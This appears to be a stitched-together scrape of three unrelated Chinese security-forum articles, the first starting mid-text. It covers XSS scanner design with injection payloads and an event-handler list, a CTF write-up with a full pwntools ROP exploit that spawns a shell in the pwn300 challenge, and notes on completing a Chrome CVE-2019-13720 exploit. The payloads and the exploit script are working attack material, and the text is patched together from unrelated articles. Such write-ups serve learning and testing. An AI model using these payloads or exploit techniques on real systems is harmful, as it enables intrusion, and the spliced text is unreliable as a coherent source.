xray顺序发送了以下payload:`spzzmsntfzikatuchsvu`,`"ljxxrwom="`,`'ljxxrwom='`,`ljxxrwom=`,当确认引号没有被过滤时，会继续发送以下payload：`"><vkvjfzrtgi>`,`">ScRiPtvkvjfzrtgiScRiPt`,`">ImGsRcOnErRoRvkvjfzrtgi>`,`">SvGoNlOaDvkvjfzrtgi>`,`">iFrAmEsRcJaVaScRiPtvkvjfzrtgi>`,`">aHrEfJaVaScRiPtvkvjfzrtgicLiCkA`,`">InPuTaUtOfOcUsOnFoCuSvkvjfzrtgi>`,`"
OnMoUsEoVeR=xviinqws`,最后可以确定payload为`"><img src=1>`,`"OnMoUsEoVeR=prompt(1)//`
如果针对此类case：
<img src=1 onerror="a<?php echo htmlspecialchars($_GET["a"]);?>" />
xray返回payload为`prompt(1)`，说明xray会把`onerror`后面的内容当作JavaScript脚本来执行，如果把`onerror`改为`onerror1`，同样会返回`prompt`。在awvs规则中也看到过类似的规则
parName == "ONAFTERPRINT" ||
parName == "ONBEFOREPRINT" ||
parName == "ONBEFOREONLOAD" ||
parName == "ONBLUR" ||
parName == "ONERROR" ||
parName == "ONFOCUS" ||
parName == "ONHASCHANGE" ||
parName == "ONLOAD" ||
parName == "ONMESSAGE" ||
parName == "ONOFFLINE" ||
parName == "ONONLINE" ||
parName == "ONPAGEHIDE" ||
parName == "ONPAGESHOW" ||
parName == "ONPOPSTATE" ||
parName == "ONREDO" ||
parName == "ONRESIZE" ||
parName == "ONSTORAGE" ||
parName == "ONUNDO" ||
parName == "ONUNLOAD" ||
parName == "ONBLUR" ||
parName == "ONCHANGE" ||
parName == "ONCONTEXTMENU" ||
parName == "ONFOCUS" ||
parName == "ONFORMCHANGE" ||
parName == "ONFORMINPUT" ||
parName == "ONINPUT" ||
parName == "ONINVALID" ||
parName == "ONRESET" ||
parName == "ONSELECT" ||
parName == "ONSUBMIT" ||
parName == "ONKEYDOWN" ||
parName == "ONKEYPRESS" ||
parName == "ONKEYUP" ||
parName == "ONCLICK" ||
parName == "ONDBLCLICK" ||
parName == "ONDRAG" ||
parName == "ONDRAGEND" ||
parName == "ONDRAGENTER" ||
parName == "ONDRAGLEAVE" ||
parName == "ONDRAGOVER" ||
parName == "ONDRAGSTART" ||
parName == "ONDROP" ||
parName == "ONMOUSEDOWN" ||
parName == "ONMOUSEMOVE" ||
parName == "ONMOUSEOUT" ||
parName == "ONMOUSEOVER" ||
parName == "ONMOUSEUP" ||
parName == "ONMOUSEWHEEL" ||
parName == "ONSCROLL" ||
parName == "ONABORT" ||
parName == "ONCANPLAY" ||
parName == "ONCANPLAYTHROUGH" ||
parName == "ONDURATIONCHANGE" ||
parName == "ONEMPTIED" ||
parName == "ONENDED" ||
parName == "ONERROR" ||
parName == "ONLOADEDDATA" ||
parName == "ONLOADEDMETADATA" ||
parName == "ONLOADSTART" ||
parName == "ONPAUSE" ||
parName == "ONPLAY" ||
parName == "ONPLAYING" ||
parName == "ONPROGRESS" ||
parName == "ONRATECHANGE" ||
parName == "ONREADYSTATECHANGE" ||
parName == "ONSEEKED" ||
parName == "ONSEEKING" ||
parName == "ONSTALLED" ||
parName == "ONSUSPEND" ||
parName == "ONTIMEUPDATE" ||
parName == "ONVOLUMECHANGE" ||
parName == "ONWAITING" ||
parName == "ONTOUCHSTART" ||
parName == "ONTOUCHMOVE" ||
parName == "ONTOUCHEND" ||
parName == "ONTOUCHENTER" ||
parName == "ONTOUCHLEAVE" ||
parName == "ONTOUCHCANCEL" ||
parName == "ONGESTURESTART" ||
parName == "ONGESTURECHANGE" ||
parName == "ONGESTUREEND" ||
parName == "ONPOINTERDOWN" ||
parName == "ONPOINTERUP" ||
parName == "ONPOINTERCANCEL" ||
parName == "ONPOINTERMOVE" ||
parName == "ONPOINTEROVER" ||
parName == "ONPOINTEROUT" ||
parName == "ONPOINTERENTER" ||
parName == "ONPOINTERLEAVE" ||
parName == "ONGOTPOINTERCAPTURE" ||
parName == "ONLOSTPOINTERCAPTURE" ||
parName == "ONCUT" ||
parName == "ONCOPY" ||
parName == "ONPASTE" ||
parName == "ONBEFORECUT" ||
parName == "ONBEFORECOPY" ||
parName == "ONBEFOREPASTE" ||
parName == "ONAFTERUPDATE" ||
parName == "ONBEFOREUPDATE" ||
parName == "ONCELLCHANGE" ||
parName == "ONDATAAVAILABLE" ||
parName == "ONDATASETCHANGED" ||
parName == "ONDATASETCOMPLETE" ||
parName == "ONERRORUPDATE" ||
parName == "ONROWENTER" ||
parName == "ONROWEXIT" ||
parName == "ONROWSDELETE" ||
parName == "ONROWINSERTED" ||
parName == "ONCONTEXTMENU" ||
parName == "ONDRAG" ||
parName == "ONDRAGSTART" ||
parName == "ONDRAGENTER" ||
parName == "ONDRAGOVER" ||
parName == "ONDRAGLEAVE" ||
parName == "ONDRAGEND" ||
parName == "ONDROP" ||
parName == "ONSELECTSTART" ||
parName == "ONHELP" ||
parName == "ONBEFOREUNLOAD" ||
parName == "ONSTOP" ||
parName == "ONBEFOREEDITFOCUS" ||
parName == "ONSTART" ||
parName == "ONFINISH" ||
parName == "ONBOUNCE" ||
parName == "ONBEFOREPRINT" ||
parName == "ONAFTERPRINT" ||
parName == "ONPROPERTYCHANGE" ||
parName == "ONFILTERCHANGE" ||
parName == "ONREADYSTATECHANGE" ||
parName == "ONLOSECAPTURE" ||
parName == "ONDRAGDROP" ||
parName == "ONDRAGENTER" ||
parName == "ONDRAGEXIT" ||
parName == "ONDRAGGESTURE" ||
parName == "ONDRAGOVER" ||
parName == "ONCLOSE" ||
parName == "ONCOMMAND" ||
parName == "ONINPUT" ||
parName == "ONCONTEXTMENU" ||
parName == "ONOVERFLOW" ||
parName == "ONOVERFLOWCHANGED" ||
parName == "ONUNDERFLOW" ||
parName == "ONPOPUPHIDDEN" ||
parName == "ONPOPUPHIDING" ||
parName == "ONPOPUPSHOWING" ||
parName == "ONPOPUPSHOWN" ||
parName == "ONBROADCAST" ||
parName == "ONCOMMANDUPDATE" ||
parName == "STYLE"
awvs会比较参数名称来确定。在后面的自动化扫描中，发现这种方式的误报还是很高，最后我将这种情况调整到了awvs的方式，只检测指定的属性key。
从这两处细微的差别可以看到，awvs宁愿漏报也不误报，结果会很准确，xray更多针对白帽子，结果会宽泛一些。
5.对于在html注释内的内容，以下case
<!-- this is comment
<?php echo $t;?>
-->
xray顺序发送了以下payload:`spzzmsntfzikatuchsvu`,`--><husyfmzvuq>`,`--!><oamtgwmoiz>`，和上面类似，当确定`-->`或`--!>`没有过滤时，会发送
以 --> 或 --!> 开头，添加如下内容
<bvwpmjtngz>
sCrIpTbvwpmjtngzsCrIpT
ImGsRcOnErRoRbvwpmjtngz>
sVgOnLoAdbvwpmjtngz>
iFrAmEsRcJaVaScRiPtbvwpmjtngz>
aHrEfJaVaScRiPtbvwpmjtngzcLiCkA
InPuTaUtOfOcUsOnFoCuSbvwpmjtngz>
## Awvs
Awvs的扫描规则很多，针对的情况也很多，没有仔细看它的工作方式是怎样的，主要是看它的payload以及检测的情况，和上面两种查漏补缺，最终合成了我的xss扫描器～比如它会对meta标签的content内容进行处理，会对你srcipt，src等tag的属性处理，也有一些对AngularJs等一些流行的框架的XSS探测payload。
## 我的扫描器
我的XSS扫描器就是综合上面三种扫描器而来，如果仔细观察，还会发现上面扫描器的一些不同寻常的细节。
比如xray不会发送xss的payload，都是用一些随机字符来代替，同时也会随机大小写对一些标签名称，属性名称等等。
这些精致的技巧我的扫描器也都一一吸取了，嘿嘿！
### 扫描流程
我的扫描器扫描流程是这样的
发送随机flag -> 确定参数回显 -> 确定回显位置以及情况(html，js语法解析) -> 根据情况根据不同payload探测 -> 使用html，js语法解析确定是否多出来了标签，属性，js语句等等
使用html语法树检测有很多优势，可以准确判定回显所处的位置，然后通过发送一个随机payload，例如`<Asfaa>`，再使用语法检测是否有`Asfaa`这个标签，就能确定payload是否执行成功了。
html语法树用python自带的库
from html.parser import HTMLParser
js检测也是如此，如果回显内容在JavaScript脚本中，发送随机flag后，通过js语法解析只需要确定`Identifier`和`Literal`这两个类型中是否包含，如果flag是Identifier类型，就能直接判断存在xss，payload是`alert(1)//`，如果flag是`Literal`类型，再通过单双引号来闭合进行检测。
### Debug之旅
整个xss扫描代码不过1000行，但debug的过程是道阻且长。
本地靶机测试后就对在线的靶机进行了测试 <https://brutelogic.com.br/knoxss.html>
查漏补缺后就开始了自动化扫描。
整个自动化架构如下
1. 提供url -> 爬虫爬取 -> 参数入库 -> 消息队列 -> xss扫描器
-> 子域名入库
-> url入库
1. 爬虫使用的crawlergo，效果挺不错的，但还是不太满足我的需求(造轮子的心态又膨胀了)
2. 数据库使用的mongodb
3. 用celery分布式调用，由于用到了celery，又用到了rabbitmq消息队列，flower监控
4. 用了server酱进行微信推送（得到一个漏洞微信就会响一次 )
刚开始打把游戏微信就会不停的响，然后就查找误报，优化逻辑，以此往复
经过了不懈的改造，优化了检测逻辑，加入了去重处理后，现在不仅扫描的慢而且推送的消息也变少了。
## 一些成果
经过一段时间对src的扫描后，成功还是挺多的（很多都归功于爬虫）
甚至发现了微软分站某处xss
未完，待续。。。
* * * | 社区文章 |
湖湘杯的pwn比赛很有趣，我做了pwn300的题目，感觉不错，我把wp分享出来，pwns的下载链接是：<http://download.csdn.net/download/niexinming/10143408>
把pwn300直接拖入ida中：
main函数：
add函数：
这个题目很有意思，首先开辟一个3到255大小的堆空间，然后做加减乘除的计算之后把计算结果放入堆中，最后可以把所有的计算结果用memcpy函数全部放入函数的临时变量v5中也就是栈中，这样就会造成栈溢出
先运行一下程序看一下这个程序干了啥：
再看看程序开启了哪些保护:
看到这个程序开了栈不可执行，于是肯定就会想到用rop来做
这个题目用ida打开之后发现有很多函数，所以判断这个题目是静态编译的
所以可以用<http://blog.csdn.net/niexinming/article/details/78259866>
中我提到的ROPgadget工具来做，不出意外，很成功的找了完整的rop链
这个题目还有个难点就是不能直接输入十六进制，所以根据<http://blog.csdn.net/niexinming/article/details/78666941>
我的这篇文件可以用ctypes.c_int32(0x123).value进行转换
所以我的exp是：
#!/usr/bin/env python
# -*- coding: utf-8 -*- __Auther__ = 'niexinming'
from pwn import *
import binascii
import ctypes as ct
from struct import pack
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
def debug(addr = '0x08048ff5'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
def base_addr(prog_addr,offset):
return eval(prog_addr)-offset
elf = ELF('/home/h11p/hackme/huxiangbei/pwn300')
io = process('/home/h11p/hackme/huxiangbei/pwn300')
p=[]
p.append( 0x0806ed0a) # pop edx ; ret
p.append( 0x080ea060) # @ .data
p.append( 0x080bb406) # pop eax ; ret
p.append(eval('0x'+binascii.b2a_hex('nib/')))
p.append( 0x080a1dad) # mov dword ptr [edx], eax ; ret
p.append( 0x0806ed0a) # pop edx ; ret
p.append( 0x080ea064) # @ .data + 4
p.append( 0x080bb406) # pop eax ; ret
p.append(eval('0x'+binascii.b2a_hex('hs//')))
p.append(0x080a1dad) # mov dword ptr [edx], eax ; ret
p.append(0x0806ed0a) # pop edx ; ret
p.append(0x080ea068) # @ .data + 8
p.append(0x08054730) # xor eax, eax ; ret
p.append(0x080a1dad) # mov dword ptr [edx], eax ; ret
p.append(0x080481c9) # pop ebx ; ret
p.append(0x080ea060) # @ .data
p.append(0x0806ed31) # pop ecx ; pop ebx ; ret
p.append(0x080ea068) # @ .data + 8
p.append(0x080ea060) # padding without overwrite ebx
p.append(0x0806ed0a) # pop edx ; ret
p.append(0x080ea068) # @ .data + 8
p.append(0x08054730) # xor eax, eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x0807b75f) # inc eax ; ret
p.append(0x08049781) # int 0x80
tempnum=0
#debug()
io.recvuntil('How many times do you want to calculate:')
io.sendline('255')
for i in xrange(0,16):
io.recvuntil('5 Save the result\n')
io.sendline('1')
io.recvuntil('input the integer x:')
io.sendline(str(tempnum))
io.recvuntil('input the integer y:')
io.sendline('0')
for j in p:
io.recvuntil('5 Save the result\n')
io.sendline('1')
io.recvuntil('input the integer x:')
io.sendline(str(ct.c_int32(j).value))
io.recvuntil('input the integer y:')
io.sendline('0')
io.recvuntil('5 Save the result\n')
io.sendline('5')
io.interactive()
io.close()
注意一点就是，就是程序在return 0之前会调用free，而为了保证free函数的正常运行，前十六次计算的结果必须为0，后面的计算结果就可以随意了
最后getshell的效果是： | 社区文章 |
# 对Operation WizardOpium使用的chrome-exp（CVE-2019-13720）进一步完善
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01-背景
2019 年 11 月 1 日，卡巴斯基[报道](https://securelist.com/chrome-0-day-exploit-cve-2019-13720-used-in-operation-wizardopium/94866/)Operation
WizardOpium组织使用在野chrome0day进行攻击，
2019 年 10 月 30
日，卡巴斯基在职人员[Anton.M.Ivanov]([email protected])在谷歌的issue
list中上[报该漏洞](https://bugs.chromium.org/p/chromium/issues/detail?id=1019226)，并给出了[poc](https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=418496)，报告中虽然文件名为exploit.zip，但实际上的确是poc。2020
年 5 月 28 日，卡巴斯基两位作者[BORIS
LARIN](https://securelist.com/author/borislarin/)和[ALEXEY
KULAEV](https://securelist.com/author/alexeykulaev/)对整个exp的实现给了详细的解释，不过仍旧没有给出完整exp。
本文在以上基础上，对CVE-2019-13720的exp做了完整拼装和实现，并最终弹出记事本。同时记录了在实现过程中需要注意的部分。
## 0x02-从任意读写开始
从卡巴斯基公开的代码进行拼凑，已经容易实现任意读写。在任意读写后，关键部分定位wasm的实现，卡巴斯基并没有给出代码。我在拼凑过程中，发现缺少关键部分，也是感觉很遗憾。以往的Chrome
PartitionAlloc利用，一般是借助wasm构造LeakObj，泄露对象地址，然后定位wasm，结合任意读写实现最终exp。Operation
WizardOpium在exp中通过创建FileReader，然后借助getPartitionPageFreeListHeadEntryBySlotSize函数解析PartitionAlloc，同时因为已知要分配对象的大小，来预测分配到的目标地址，最后借助`fileReader.onerror
= wasmFuncA;`实现执行shellcode。
本文在wasm定位过程中没有采用该思路。而是借助yytgravity笔记中提示的思路实现wasm定位。不过在实际操作中，仍旧需要注意一些关键的点。
## 0x03-wasm定位
一句话描述定位思路是`isolate->heap_->old_space_->allocation_info_->top_->wasm->rwx`
这里需要注意的是，定位出的top，在我们写exp过程中，随着新函数的申请、垃圾回收等操作，会动态改变。后面会提示如何规避该问题。
从卡巴斯基给出的exp，可以直接实现chrome_child基址的计算。如此，可定位到g_main_thread_per_isolate_data，而isolate的地址可以从g_main_thread_per_isolate_data计算得到。如下图所示：
windbg中鼠标点击下划线符号即可解析成员变量，这里的解析路径是：
g_main_thread_per_isolate_data->isolate_holder_->isolate
此时isolate _holder_
持有的成员变量类型为`v8::Isolate*`，这里如果按该结构进一步解析，实际上并不能获得`heap_`成员信息。如下windbg中来进一步解析`heap_`成员。
dx -r1 ((chrome_child!v8::internal::Isolate*)heap_addr)
在heap中，可根据old_space解析allocation_info，然后进一步获取top地址：
最后根据top，计算wasm的偏移，至此，我们便可不再依赖leakObj泄漏wasm对象，仅依赖任意读写便可实现exp利用。
## 0x04-补充
不过由于该漏洞是UAF，其中稳定性并不太理想，这里借助浏览器特性，会对不同站点使用不同进程思路，将exp放在iframe中，并多次刷新即可。
在该exp实现过程中发现，提前进行垃圾回收有利于加快webaudio的执行和崩溃，于是在main函数前，多次gc，在实际exp撰写过程中，可尝试类似技巧，增加exp的稳定性。
由于top变量容易改动，可根据需要，最后申请wasm对象，申请完后，立刻借助任意读写定位rwx内存即可。
最后附上完整exp和视频。
您的浏览器不支持video标签
## 0x05-参考链接
<https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/>
<https://bugs.chromium.org/p/chromium/issues/detail?id=1019226>
<https://github.com/yytgravity/Daily-learning-record> | 社区文章 |
Subsets and Splits